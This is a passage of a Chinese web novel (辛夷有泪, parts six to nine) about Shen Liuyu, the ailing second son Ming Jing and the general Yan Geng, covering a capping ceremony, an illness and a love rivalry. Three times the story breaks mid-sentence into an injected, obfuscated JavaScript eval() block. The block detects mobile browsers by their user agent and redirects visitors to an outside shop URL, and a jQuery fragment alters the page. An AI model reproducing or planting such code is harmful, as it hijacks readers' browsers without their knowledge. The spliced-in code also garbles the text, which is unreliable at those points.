辛夷有泪(六) 冬日渐深,辛夷城一天比一天冷,明璟如往年一样去了南郊的温泉山养病,在那里度过了难熬的严冬。 伤病掩盖了孤独。随着时间推移,数九、除夕、元宵皆过去,眼见已到早春时节,二公子却迟迟没有下山来。 这天,沈流玉来到了山庄外。 她没有通传,亦没有提前知会,只是单纯地来了。 管家见了她很意外,进去向主子禀报,片刻,一个中气不足的声音自门窗传出来,“让她走,不见。” 很熟悉,能听出被药气熏染的虚弱,也依旧脾气很大。 尽管被下了逐客令,但沈流玉没有离开,还是静静站在外面等,为眼前这座冷清的院子增添了一分人气。 温泉山上比城中暖和不少,但如今开春不久,到底寒气未消。 流玉立在廊外,发上银冠结了一层薄薄的霜。 过了半个时辰,那扇紧闭的房门终于打开了,明璟出现在门口,阴声道:“沈流玉,你还敢过来见我啊。” 许是近日清净养病的缘故,他看上去比平时精神一些,脸上也有了几分血色。 流玉自知理亏,心里的歉疚感又涌了上来。 “下官有罪。” 她低下头,补上了先前没说出口的赔罪,“公子手上的伤好了吗?” 明璟因“沈流玉不道歉”耿耿于怀了许久,如今真等到了,又生出几分莫名的不自在。 他移开目光,蜷了一下手指,“放心吧,死不了……谁让我没把你的好姐妹看守好呢。” 那道伤口并不深,从愈合到落疤没用多久时间,现在已经完全消下去。何况两个多月过去,他了解了事情原委,纵有再大的火气也被磨平了。 流玉微微一怔,像是没想到他会说出这种话,明璟生怕她又要追问什么自己回答不了的问题,兀自走出房门,道:“闷着太久了,和我出去透透气。” 几句话的功夫,管家已将轮椅推了出来,流玉应了一声,主动走到他身后。 初春时节,山上积雪尚未消融,嫩芽幼草已经冒了尖,展示着蕴藏的生机。 流玉推着明璟来到山门外,路过清净无人的石桥、亭子,明璟不知在想什么,一路都没说话。 流玉一边推他缓缓走,一边开口:“城主为公子的冠礼挂心已久,两月前就找卜筮算好了吉日,说绝不能从简。” 寒冬已过,可明璟仍不见有下山的意思,引得城主和长公子分外挂心——原因无他,两日后是辛夷城二公子的冠礼,城中一早就算好了吉日,若他不出席,又该如何进行下去? 前面传来一声懒懒的哼笑,“你果然又是他们派来的。” “没有。”流玉垂了垂眼,辩解道。 她主动来温泉山,诚然有为主上分忧的心思,更多却是出于自己的原因,毕竟,他们实在太久没见了。 久到好像上次之后就一刀两断,如果她不主动维系这段关系,他们就真的再也毫无瓜葛——最初,她明明百般想要脱离明璟的掌控。 流玉找不出这份变化的缘由,只有用那个理由说服自己:杨柳还在他手上。 红梅挂在枝头,风一吹,散放出沁人心脾的幽香。 走动间,流玉的香囊掉了,蹲身在轮椅旁边捡,乌发飘进轮椅扶手下的空隙,像一缕柔滑的丝线,正好滑过明璟的手背。 明璟的心突地一抖,手也像触电般缩了回去。 二公子对自己的失态后知后觉,心里漫起一丝莫名的恼羞成怒,上梁不正下梁歪,这个沈流玉,不仅自己无礼,连头发也不知分寸…… 他努力掩饰起来,低头看某个始作俑者,见风停下来,她那不安分的发丝也老实了,墨云般的发髻间却挂着一点红,也不知停留了多久。 流玉捡到了香囊,正准备起身时,被明璟拦住了,“别动。” 她愣了愣,还没反应过来,只感觉头顶被什么东西碰了一下,随后,一朵艳丽的红梅便被送进了她的眼帘。 他的手指修长如玉,白皙伴着指尖那点残红,让人移不开眼。 零落的花骨朵弱不禁风,被风一吹便飘走了,沈流玉还没有起身,看着他收回手,指腹不自觉地摩挲了一下手中的紫檀珠。 她忽地心神一恍,鬼使神差伸手,攀上了那串紫檀,隔着几颗触感温润的木珠,像握住了他手。 明璟呼吸一窒,听见她问:“公子为什么总是戴着这串珠子?” “……我母亲的遗物,据说戴着能养神静心。” 慌乱里,他闭了闭眼,答道。 养神,静心? 现在看来,怕是作用不大。 …… 两人在梅花林中闲转了一会儿,须臾停下来,身后是开得正盛的梅花,远远一望,则能瞧见山下错落的街桥瓦舍。 流玉走累了,索性挨着轮椅,在山门外的石阶上坐下。两人一个坐轮椅,一个坐台阶,看上去一高一低,气氛却格外和谐。 仿佛抛去了什么身份、尊卑,过去发生过的种种矛盾,也都在无形中一笔勾销了。 时至傍晚,天色尚未尽暗,山下人影散乱,街坊已陆续亮起了灯,微弱,却足以照明,让人看了感到安定。 流玉的心安静下来,随手摘了片常青的树叶,贴近唇边吹起了小调。 二公子自小听惯了宴飨祭祀时的雅乐,还没见过这种新奇的“乐器”,于是专注地听。流畅的曲调从流玉口中流泻出来,前半段轻松欢快,像春天雀鸟喜悦的鸣叫声,后段则渐趋变缓,变得辽远悠长。 明璟本以为流玉是在胡乱吹,后来却发现不是那么回事。这应该不是简单的民间小调,须辅以箜篌、笙箫,才能将其中的感情充分表现出来,流玉之所以能用叶子吹,是曲谱被她简化了。 这里没有箜篌和笙箫,好在不妨碍沈流玉发挥,也不影响明璟理解和欣赏。 他没有出声打扰,只是一手撑着下巴,安静地听她吹,听那悠扬的旋律沉了又沉,逐渐走向肃穆、厚重。 就像穿过狭窄小道后的云开月明,得见江河洪流、万里云川,眼前那些繁华的灯火 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17358767|197243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也愈渐明朗、动人…… 他在冬雪梅林中,走进了喧嚣的烟火人间。 明璟胸中鼓噪不止,仿佛有什么东西破土而出,像草木复苏般长出了新芽。 心动,五脏六腑皆摇。 一曲终了,流玉停了下来,他问:“这是凉城的歌?” 流玉点头,“《报春歌》,是凉城的郊祀歌,大意是歌颂盛世太平,表达百姓对安居乐业的喜悦之心。” 沈家两代为辛夷城效命,实则祖籍不在这里,而在塞外的凉城。 流玉说着,脸上浮现出几分怀念,“我在辛夷城长大,其实也没有回去过几次,只记得那里的白云蓝天,绿草长得比膝盖还高,很漂亮。” 那你想回去吗? 明璟在心里问,却没有宣之于口,与其说懒得多事,不如说不愿得到自己不想听的答案,于是避开了唯一一丝风险。 他难得露出了点鲜活的神采,也捡了片叶子,“再吹一遍,我学学。” …… 两人难得有这么融洽的时候,停留在梅林边,一直到天黑才回到山庄里。 饭后,明璟坐在廊下,流玉走到围墙边,看见山下灯火如织,许多星星点点喜庆的红色,原来是正月刚过不久,各家各户在门前悬挂的油纸灯笼。 明璟跟着遥遥一望,对侍从道:“前几日城主不是派人送了长明灯吗,拿几盏来。” 以前二公子对这些东西从不感兴趣,今日竟然有了兴致,侍从忙应了,没过多久便送了来,又搬来了题字的桌案和笔墨。 然而,明璟似乎不是想写,只是想看,他将毛笔交到了沈流玉手里。 后者拿着笔,目光顿了俄顷,在长明灯的纸面上写了四个字。 ——长命百岁。 明璟的目光定在上面,继而瞧了她一眼,刻薄道:“难得,我还以为你会写祸害遗千年。” 流玉了然,“二公子喜欢这句啊。” 说着,她便作势要落笔,明璟一急,立马道:“你敢写!” 流玉忍不住抿起了唇,自顾自转着长明灯换到另一面,然后继续提笔。 等到明璟转回来打算兴师问罪的时候,却看见她没写那些有的没的,而是题了一句诗。 ——弱雪带锋藏,心远意自昭。 明璟盯着那行云流水般的字迹,怔了许久。 他缓缓看回流玉的脸,心跳加快了,“……什么意思?” 长明灯的光焰闪动着,在彼此脸上镶了一层金边,流玉不置可否,只冲他笑了一下,“公子晚上还没喝药吧,我叫管家回来。” 说罢,她便跨出院门找管家去了,独留明璟在原地,好半天才反应过来。 他低低哼一声,倒也没让人去把流玉追回来,而是探手拿过搁在桌案上的毛笔,在她题的诗句旁边写了四个小小的字。 ——答非所问。 明璟舒了口气,眸中也有了柔和的温度。 恰好这时守卫进来,他放下笔,吩咐道:“准备准备,明日一早下山。” 44. 辛夷有泪(七) 二公子幽居温泉山数月,几经波折,终归在冠礼前夕回到了辛夷城,顾了脸面,也全了大局。 对此,城主和长公子无不大悦,将这件事记在沈流玉头上,成了她的大功一件。 明璟坐在桌案对面,听两人大谈赏赐,平静地垂着眼,唇角隐隐弯起了一点弧度。 “既然要赏赐,不如赏个大的。”他说,“沈学士跟着父兄做了不少事,但有段时日没升迁了吧?” 明璟自幼孤僻,平时相见多是寡言少语,这次竟难得主动唤了一声“父兄”。 辛夷城主听了先是怔住,而后难掩激动,如同被明璟提醒了一般,频频点头,“对、对,是许久未提过品级了,如沈卿这般才学,合该同她父亲一样……” 提起沈胥,辛夷城主的话戛然而止,卡在了喉咙里。 回神后,他的背弯了下去,以手掩面,似愧似悔,“案子还没查清楚,怎么就去了呢?” 沈胥跟着辛夷城主十数载,其中情谊不是一句君臣足以概括的,无奈贪墨一案涉事者众多,城主恐动摇辛夷城根基,唯有不再深挖,在沈胥“自裁”后草草结案。 可品行如此清正的人,几番审讯后仍在喊冤,为何会在狱中匆匆自尽? …… 次日,及冠礼如期而至。 庭燎高燃,偌大的殿中灯火通明,金朱色的氍毹从殿门铺到了殿尾,处处彰显着隆重和尊荣。 宾客盈室,明璟坐在城主下首的位置,接受着群臣的道贺。 吉时既已到,入宗庙,赞礼与正宾立于两侧,为冠者唱词。 以岁之正,以乐之令。令月吉日,始加尔服。 弃尔幼志,顺尔成德。寿考维祺,介尔景福。[1] 及冠之礼复杂且讲究,辛夷城主担忧明璟的身体支撑不住,预先吩咐能简则简,省去了一些非必要的流程,但还是避免不了部分繁杂的仪礼。 要是在从前,明璟必定烦躁,今日却罕见地很是配合,一切都照做了。 陈服器,加梁冠,肃穆的钟声敲响,响彻了整个庙堂。 冠礼将成,只剩下最后的取字这一步,明璟的神色不自知地柔软了几分,忽道:“我想自己取字,望父亲允准。” 在场的众人都愣住了,古来男子及冠皆由重要的长者取字,二公子父兄皆在,岂有自行取字的道理? 此事虽不合规矩,但辛夷城主怜幼子体弱,除了伤天害理、危害辛夷城的事,其他没什么是不能答允的。 今日日子特殊,明璟的衣着总算不像平时那样素净了,难得披了件绛紫色的外袍,袖口滚着银边。他得了准许,在齐聚的目光下蘸取墨汁,继而落笔,题了两个大字。 ——意昭。 二公子性情古怪,宾客们原本担心他胡来,看清后都松了气,纷纷称道“好字”,赞赏之语不绝于耳。 流玉立在偏外围的位置,看着描金贡纸上那端正的字迹,蓦地怔住了。 “弱雪带锋藏,心远意自昭。” 日光泼洒进来,将整个大殿映出了琥珀色的霞光,中间那人似有感应,就那么抬起眼眸,对上了她的视线。 沈流玉,沈学士——不,现在该称呼沈少卿了。 众人说着吉祥话,嘈杂的声音不绝于耳,明璟目光沉静,遥遥望着她,眼底悄然泛起了一丝清浅的笑意。 万籁俱寂。 好像热闹中开辟出了一隅天地,只属于他们自己。 …… 进入春天,明璟的身体还算争气,虽然还是日日靠参汤吊着精神,但至少不像从前那样咳嗽了。 沈流玉升了官,公务依然繁忙,得闲时也会去找他,有时兴致颇佳,便如那日在温泉山那样推他出去散步、吹风、教他吹叶子歌。 当然,这是和睦的时候。两人秉性未变,冲突也是家常便饭,明璟嘴上不饶人,最会阴阳怪气,流玉碍于规矩不与他争辩,有时被故意刻薄和“敲打”了,便兀自回长公子府邸去,回头给他传几封不痛不痒的情报。 明璟哪里看不穿她的敷衍,却懒得同她计较,毕竟今时不同往日,他早没了什么勾心斗角的心劲。对这个身在曹营、心亦在曹营的人,睁一只眼闭一只眼也就过去了。 睡时安稳,醒时鲜活。 这是对明璟来说,最好的一段时光。 四月,沈流玉奉命前往外城办事,返程途中不慎着了风寒,回来后连着发了几日的高烧。 长公子府邸的大门一关,相当于彻底割断了她和明璟的所有联系,明璟对此只过问了一次,倒没有表现出太多的情绪。 春风宜人,他开始变得喜欢出门,尤其喜欢去一个地方——圣女祠。 只要身上的披风足够厚实,他坐在圣女石像下,一待就是一整天,就像在静心堂祭奠亡母那样长燃香火,不曾断绝——辛夷城的百姓不信神佛,唯独信仰身怀镇幽之力的圣女,认为有了圣女的护佑,就可以长生长乐,万事无忧。 深夜,雨点击打着窗棂,唯此处一方僻静。 祠堂中,圣女石像法相庄严,无声俯瞰着众生。明璟没有离开,静静望着那疏离又渺远的眉目,恍惚间生出了一种说不清道不明的亲近感,既熟悉,又陌生。 他情不自禁地伸出手,触摸石像冰冷的裙角,像连通了某种感应,转眼便跨越了时空千年,失神之际,眼前竟又浮现出了沈流玉的脸。 明璟怔住,不知为何,惶然乱了呼吸。 管家以为他仍在怀念华夫人,宽慰道:“夫人功德无量,现在肯定位列仙班,到圣女座下享福去了。” 窗外隐有闷雷声响起,雨声渐大,将人的思绪搅成了一团乱麻。 他没再出声,蹙着眉,将紫檀珠缓缓贴近胸口,听见了自己错乱不安的心跳。 烟火缭绕,明璟低下头,以一种臣服又堪称亲昵的姿态,轻轻抵在圣女像前,如同在祈求、祷告着什么——就像近日重复过无数次的那样。 他这才发现,原来人在满心期盼却又什么都做不了的时候,连求神拜佛都显得那样无力。 一夜风雨急,拂晓时分方歇。 东山日出,阳光泼洒进来,派出去的手下终于匆匆归来,跪地禀报:“公子,长公子府邸那边传来消息,沈少卿高烧已退,想必再养几日便能大好了。” 明璟一宿未眠,脸色又苍白起来,呼吸微乱,眉目却迎来了久违的舒展,仿佛在经历过紧张的变故后,骤然松动的那一根弦。 “回府吧。”他道。 一群人生怕主子在此受寒,有了吩咐,忙簇拥着他行动起来。 圣女祠外,几个小乞儿坐在墙下,人人手里拿着个碗,看见贵人路过,一股脑围上来讨要钱粮。 侍卫们守在明璟身边,正准备如往常一样将他们拦下来驱散,却被明璟制止了。 混迹街坊的小乞儿惯会看人脸色,见势不再畏惧,一个个巴巴地盯着明璟,排成了一横排。 大雨初停,尚有寒意,离他最近的小男孩最瘦弱,仅用破烂的衣裳勉强蔽体,微微发着抖。 明璟看了他许久,低头把自己的披风解了下来。 管家惊诧,“公子,天还冷——” 明璟摇了摇头,执意将披风围在了小乞儿身上。 回去的路上,明璟一如从前那样沉默,管家在车外随行,须臾,听见他问:“去年,城里是不是收成不好?” “是,去年遇上涝灾,冲毁了不少农田。”管家如实答。 车中没有再传来声音。 就在管家以为这段对话到此为止的时候,那道低低的声音复又传来,“以我的名义建粥棚,开仓施粥,一应花销从府上的账目出。” …… 一场大病打乱了流玉的步调,等到她终于苏醒,发现卧房还是自己的卧房,而杨柳竟然在她身边。 杨柳守在她床前,见她醒来很是高兴,问她是否头晕是否口渴,从头到脚都关切了一通。 流玉让她扶自己起来,声音沙哑,“你怎么来了?” “二公子听说你病了,特意放我出来的,还让我带了好些珍贵的药材,我不认得几件,便全交给府医了。” 杨柳笑着答,“现在看来,那些药材当真有效。” 他自己就是个药罐子,用的自然都是最好的药。 提起明璟,流玉问:“他最近可好?” “二公子近来恢复了许多,还常去外面走动呢。”杨柳道。 流玉听后心下稍安。她挂念着手头的公务,想尽快去处理,无奈身体依然处于虚弱状态,刚一起身,便感到一阵晕眩。 她险些没站稳,杨柳劝道:“你就放心吧,炎将军接管了你的差事,已经全帮你处理过了,现在该是有条不紊。” 炎庚嘴上爱开玩笑,看似轻浮不经,但论起做正事的时候,这府上没有人比他更可靠了。 于是,流玉被杨柳拉着,半强迫地按回了床榻。 杨柳向她坦诚:“说起来,其实在你发热的这几天里,炎将军最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17361135|197243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是受累,白天应付你和他两个人的公务,晚上来看你,衣不解带地守在外面,你喝不进药的时候,也是他来帮我的。” 流玉整理衣襟的手停下了,意外占据了她情绪的大半部分,除此之外似乎还有某些复杂的构成,交织混杂在一起,让她说不出是什么感觉。 她想起来,自己缠绵病榻、睡意昏沉时的确听见了他的声音,原本以为是幻觉,没想到竟是真实的。 昼夜相继,衣不解带…… 同僚之情诚然厚重,但又何须他做到这种份上? 这时候,杨柳凑近她,神神秘秘地压低声音,“流玉,你说他是不是心悦于你?” 流玉的思绪被打断,紧接着回过神,在面前人额头上戳了一下,“胡说八道。” 回忆过往的一昔一岁,他们朝夕相处,行事默契,炎庚每一次的出手相助,几乎都成了她平步青云路上的阶梯,看似无意,实则费尽心思、不留余力。 对此,沈流玉心知肚明——这份可贵的帮扶,绝不是因为她的父亲。 想到这里,流玉只觉得心头麻了一下,仿佛有什么东西脱离了掌控,悄然朝着自己意料之外的方向发展出去了。 沈少卿苏醒后,消息如了长翅膀一般,迅速传遍了整个长公子府邸,炎庚是最先过来的人。杨柳一见他,立马找个借口溜了出去,走时还不忘带上了房门。 杨柳走后,房中安静下来。沈流玉看着炎庚点香,忽然开口:“多谢你。” 炎庚侧过头看她,好笑道:“谢什么?杨柳独自照顾你忙不过来,我帮她是应该的。” 圣女之体金刚不坏,凡物根本伤不了她,如今投入人间,却被一个小小风寒击倒了。炎庚这几日看她缠绵病榻,虽然表面冷静,实则心里还是有些焦躁的——哪怕知道“流玉”就是珞瑶,不会真的被伤寒夺去性命。 要不是因为灵力被禁用,他都想给她一具百病不侵的身体,上午病倒,下午就活蹦乱跳。 香雾氤氲,薄荷脑的清新驱散了积聚已久的病气,味道刚刚好。 炎庚走到床榻边,在圆凳上坐下,流玉一转不转地看着他,“我谢的不只是这几日。” 炎庚的呼吸悄然一顿,几乎转瞬的功夫,便领会了她的意思。 来到凡间后,他一直跟在她身后,之所以尽己所能为她适当扫除障碍,是为了助她早日实现抱负,而不是蹉跎岁月,将大把的年华都浪费在那些尔虞我诈的争斗之中。 他自以为已经做得足够隐蔽,最后还是被她发现了。 炎庚没有点明,不置可否地笑了一下,听见她叫自己名字,“炎庚。” 流玉垂了垂眼,似在斟酌接下来的话该如何开口,片刻后抬起来,那双眸子里装着的东西没有改变,依旧干净到近乎纯粹,坚定得近乎无情。 她轻道:“眼下时局未定,我无心沉溺儿女情长,只想投身政局,让辛夷城早日太平无忧。” 其实到现在为止,流玉远不能确定炎庚帮她的动机,也许是她自作多情——可就算是自作多情,她也必须说出来,因为没有人理应无条件付出,她也不能心安理得地接受。 薄荷脑还在香炉里烧,沁人心脾变成了恼人的冰凉。 炎庚的笑悬停在脸上,一颗心从无声的鼓噪逐渐归于沉寂、空白,只剩下一个念头分外明晰。 她察觉到了自己的感情,但选择了婉拒。 面对此情此景,炎庚说不失望是假的,同时又不仅仅只感到失望,有另一种情绪飞快从心里掠过。他追上那阵情绪,细细感受,发现不是悲伤,也不是恼怒,而是欣慰。 一丝隐秘的、在异世界真切地感受到熟悉气息的欣慰。 冷静果断、目标清晰,如果她不是这样的表现,也就不是珞瑶了。 “知道了。我们做谋士的,不就这点心愿么?”炎庚道。 他掩藏了心绪,探手到旁边的小几上倒茶,无比自然。 雾气氤氲了他的眉眼,一时无人说话,只剩下茶壶倾倒的水流声。 炎庚自己拿了一杯,将另一杯递到她面前,“你拿我当同僚,我拿你当知己,日子还长呢,我们俩各论各的,谁也别为难。” 指尖相触,以茶代酒,流玉望着他,神色变得认真,“我也拿你当知己。” 炎庚有一瞬的怔愣,眸中流露出温度。他忍不住弯起唇角,从善如流地点了个头,“行。” 两只茶盏碰到一起,发出清脆的响声,仿佛达成了某种约定,永不相背。 45. 辛夷有泪(八) 次年夏日,丞相何休以防范外敌入侵为由加固城墙,趁势大兴土木,增加赋税徭役,百姓因此怨声载道,一片凄清。 为此,沈流玉三次上书寻求斡旋,虽不至与何休阵营撕破脸面,却也实实在在树了敌。长公子庇护她,在赋税之事上亦无计可施,只有传话说:“何休势力太盛,以徐徐图之为宜。” 朝中波涛暗涌,朝堂之外,二公子的病情急转直下,再度卧床不起。 明璟熬过了二十年光阴,这一次,岁月却没有再给予他宽容,自娘胎里携带的毒素如凛风过境般彻底苏醒,深入了他的五脏六腑。 六月,辛夷城广发布告,为二公子遍寻天下名医,如一颗石头落进大海,没有传来任何回音。 眼见几番辗转无果,城主心急如焚,短短数日过去,两鬓竟变得斑白,可不论他如何着急,依旧不知怎样才能逆天而行,留住膝下幼子的命。 比起老父,长公子的心境并不轻松多少,但到底没有那么悲观。他常去二公子府邸走动,有时还会带些明璟爱吃的点心零嘴,遇上明璟清醒的时候,兄弟之间还能说说话。 即便明璟心结未除,多数时间不会给他好脸色。 这天,长公子忙于公务,派沈流玉和炎庚前来探望。沈流玉把带来的药材交给管家,走进内室,沉闷清苦的药气扑面而来。 府医和照料的下人围在床榻边,见流玉过来,纷纷让出位置,明璟正无声无息地睡着,面色青白,整个人又消瘦了一大圈。 趁无人关注,流玉触碰他的手背,一片冰凉。 其实自从他病况加重,沈流玉每晚事务结束都会过来看他一眼。他精神不好,经常昏睡着,流玉便总是站在窗外望一会儿、听一会儿,之后就默默离开。 明璟卧病已久,意识昏沉了大半日,片刻后,竟有了转醒的迹象。 流玉心下一喜,出声询问:“二公子,你怎么样?” 床榻上,那人呼吸微弱得连一根羽毛都吹不动,数息过去,他终于在众人的期盼下转醒,眼前清晰的那一瞬,先看见的是沈流玉的脸。 明璟昏沉了许久,但还是听见了她的声音,他艰难开口,声音哑得像沙砾,“放心……一时半会还死不了。” 从前说他是仙人面庞,如今更加肖似,仿佛一阵风吹过便要乘云归去,再也不回来。 流玉和明璟相处久了,早就习惯了他的词不达意,也不较真争论什么,和管家一起扶他起来,顺手接过软垫,放在他身后。 八月里的艳阳天,卧房的门窗紧闭,隔绝了全部鲜活热烈的阳光。 流玉在里面照看明璟,与她一同到来的炎庚则站在外间。青年将军一身银衣,始终意气风发,远远望着帷帐后沈流玉的动作时,背脊依然倨傲挺直,眼中却藏着难言的静寂。 他从不知道,如沈流玉这样的人,照顾人时也会如此轻车熟路,听见不喜欢的话,便堪称纵容地选择忽略,一句也不争辩。 思及此,炎庚的眸光无声微动,自嘲地笑了一下。 不得不承认,来凡间后,他似乎越来越不知足,连忮忌之心也不减反增了——无论是对神君羲洵,还是眼前的二公子“明璟”。 内室,府医正好端了药进来,等到稍凉,流玉将药碗送到了明璟面前,后者就着这个姿势喝完,就在她直起身体,准备把药碗放到一边时,却被一把扣住了手腕。 明璟的呼吸不知何时变得急促,盯着她的面庞,“离何休远一点,他太阴险,绝不会对你手软……” 流玉的心咯噔一跳,知道他定是听说了近日的事,周遭府医、侍从的头则全都低了下去,只当没有听见。 这一番话是明璟用尽力气的叮嘱,说完,他便剧烈咳嗽起来,额上冒出细密的汗,脸色也愈发苍白如纸。 流玉回神,立刻将擦拭血迹的布巾递了上去。 “知道了。” 她收回手,低低回应,声音只有他们两人能听见。 流玉没有回头看炎庚的脸色,却能敏锐地察觉出有一道目光落在了自己的后背。 她并非刻意提防,但有时候多些警惕,能避免许多可能出现的麻烦。 想到这里,流玉稍稍抬高声音,语气变得公事公办,“下官多谢二公子挂心。” 明璟病久了,脑袋昏昏闷闷的,更没心劲思考那么多弯弯绕绕,听了她的回应后只觉得莫名其妙。 他有气无力地皱起了眉,“……沈流玉,我又怎么惹你了?” 这一声虽然不大,但炎庚离得并不远,足以听得清楚。 起初,明璟没有意识到不对,直到无意向外一瞥,看见帷帐外还有一个朦胧的身影,才后知后觉明白沈流玉为何突然规矩起来。 也不知是不是病坏了脑子,明璟定定望了那身影两眼,非但理智没有回笼,心里还腾地烧出一片火,让他烦躁不已。 他知道外面那些传言,沈流玉身在官场,和这个炎将军走得十分近。 明璟想着,突然感到一阵眩晕,身子也跟着晃了晃,沈流玉见状吓了一跳,立刻倾身上前,眼疾手快地扶住了他,谁知明璟没有躺回床榻,而是顺势病歪歪地一倒,将额头靠在了她的肩窝。 流玉的身体瞬间僵住了。虽然两人早已相处习惯,但还从未有过如此亲昵到失礼的姿态。 明璟气若游丝,她垂下头,见他手背靠近腕骨处留着一道淡淡的疤痕,是当初她咬的牙印,至今都没有完全消去。 “沈少卿,男女有别,这是否太逾矩了?”他轻声道。 帷帐外,一道锐利的视线陡然射了过来。明璟当然察觉到了,他靠在流玉颈间,病骨支离,却愉悦地勾起了唇角。 炎庚站在外间,但隔得不远,岂会看不出明璟赤裸裸的挑衅意味。他紧抿着唇,黑眸中缓缓泛起暗红色的光影,看着那张与神明一模一样的面庞耍心计,做一些与神性完全割裂的事,还真是奇异极了。 历劫者没有过往的记忆,但在应劫过程中的一言一行,依然会受本体性情和意识的影响,凡是历劫之人,都可以借在凡间的短短一世,宣泄长期为冷静和理性所压抑的真实情感——就比如现在。 世人仰望神族,却不知神族光风霁月的皮囊之下,居然也藏着这般恶劣的心思。 炎庚眯了眯眼,心下情绪暗涌,愤怒、急躁之余,理智又提醒着他:和一个命不久矣的人斤斤计较,何必呢? 他与沈流玉朝夕相处,若为此失态,未免显得小肚鸡肠。 于是,炎庚不怒反笑,向床榻的方向一拱手,“臣在廊下等候。” 说完,他大步从卧房离开。 房门再次关上了,刻漏叮叮答答的滴水声格外突兀,片刻,沈流玉的声音响起来,“你玩够了么?” 明璟在她身上靠了一会儿,虽然是故意使坏,但也真没有什么力气。他艰难坐直身体,无端浮躁,“怎么,嫌我让他误会了?你大可以追出去解释。” 流玉听出他言语带刺,但不知他突然的坏情绪从何而来,于是默了默,问:“你和炎庚有过节?” 我能和他有什么过节。 明璟心说,却没有开口回答,而是不耐地别过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365957|197243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,冷声道:“我不想看你和那些人走得太近,至少别在我面前。” “哪些人?” “你的同僚。” 窗外风停树止,房中,气氛也几乎凝滞了。 先前逐渐磨合、相处融洽的记忆像一场镜花水月,雾气散去,一切又回到了最初的原点。 沈流玉望着身边人,声音堵在嗓子眼,一双瞳眸在背光处变成黯然的颜色,写尽了悲哀。 “明意昭。”她第一次这样唤他,“是你送我去的。” 药早已喝尽,苦味又从喉咙里漫上来,不上不下地溢满了口腔。 明璟低着头,未能言语,心上像被钻了个小洞,隐隐的疼,咳得肺管子疼,腕上那处牙印也疼。 气氛太难熬,沈流玉不想留在这里了。她起身行了个礼,便想要离开,这时候,管家从门外急匆匆进来,手里捧着一堆不知名的厚卷轴,偏偏路过流玉时没拿稳,手一滑,就这样“哗啦啦”地洒了一地。 管家连声告罪,急匆匆蹲身收拾散落的卷轴,流玉也停下来,帮着一起整理。她无意翻开一卷瞧了一眼,发现这堆卷轴竟不是公务文书,而是画像。 一群出身高贵、正值妙龄的女子画像。 “什么东西?”明璟隐隐察觉出不对,在不远处问。 管家战战兢兢回答:“是、是上次城主说过的,为公子择选的几位淑女的名册……” 明璟耳中登时嗡地一声,“谁让你拿——” “二公子拖着病体还要娶妻,却要求我洁身自好?”流玉反问。 口齿清晰,还带着不易察觉的讽意,将他的质问声盖了过去。 她回头盯着明璟,面上连一分笑意都没有,甚至没有气恼,唯有陌生,让她忍不住失神。 她好像从未真正认识过眼前的人,而眼前的人却妄图掌控她。 凭什么? 流玉心里突然窜出一阵固执的劲儿,支撑着她绝不低头,也不知怎的,她隔着窗望了一眼外廊,几近刻意道:“我与炎庚还有要事,就不在此打扰二公子休息了。二公子,告辞。” 说罢,她没等明璟开口,便躬了躬身,头也不回地去了。 …… 从二公子府邸离开后,沈流玉逼自己不再去想那件事,复又将自己投身进了公务之中,堆积的公文一本本打开又合起,过了许久,才总算抚平了她的心烦意乱。 傍晚,流玉到长公子书房议事,刚走进门,见内室里一反常态地来了个礼官,明珲立在桌案后,正交代着什么。 流玉不明,走近一望,看见礼官手里拿着几本文书,宾客名单、礼册,似是类于婚仪流程的东西。 她的心沉了沉,问:“是二公子的婚仪?” “是啊,半月前才吩咐的筹备,今日就要取消了。”明珲苦笑道。 流玉一愣,“……取消?” 长公子日理万机,听流玉问起,方想起她对此事尚不知情,苦笑着解释:“意昭的病情加重后,父亲病急乱投医,生出了为他娶妻冲喜的心思,几次三番地提起,然而意昭态度坚决,无论如何都不肯答应,父亲又不敢刺激他。这婚事本就八字还没一撇,如此就更要作罢了。” 说到这里,明珲回头看了眼刻漏,无奈地摇了摇头,“早间父亲给他送去的名册,这会儿还不见传回来,八成是又撕了。” 后来长公子还说了什么,好像是城主为明璟选了谁家女儿、原本婚仪准备得如何隆重之类的话题,流玉一句都没听进去,她立在原地,脑子里就只剩下了一个念头:她又误会他了。 46. 辛夷有泪(九) 回去的路上,流玉心不在焉,炎庚问:“还在想二公子的事?” 流玉思绪回笼,话语中含有歉意,“今日二公子病得神智不清了,不管他说了什么,做了什么,你都别放在心上。” 炎庚笑了一下,状似无意问:“你是怕我吃醋,还是怕我怀疑你和二公子的关系,向长公子告状啊?” 流玉没有出声。 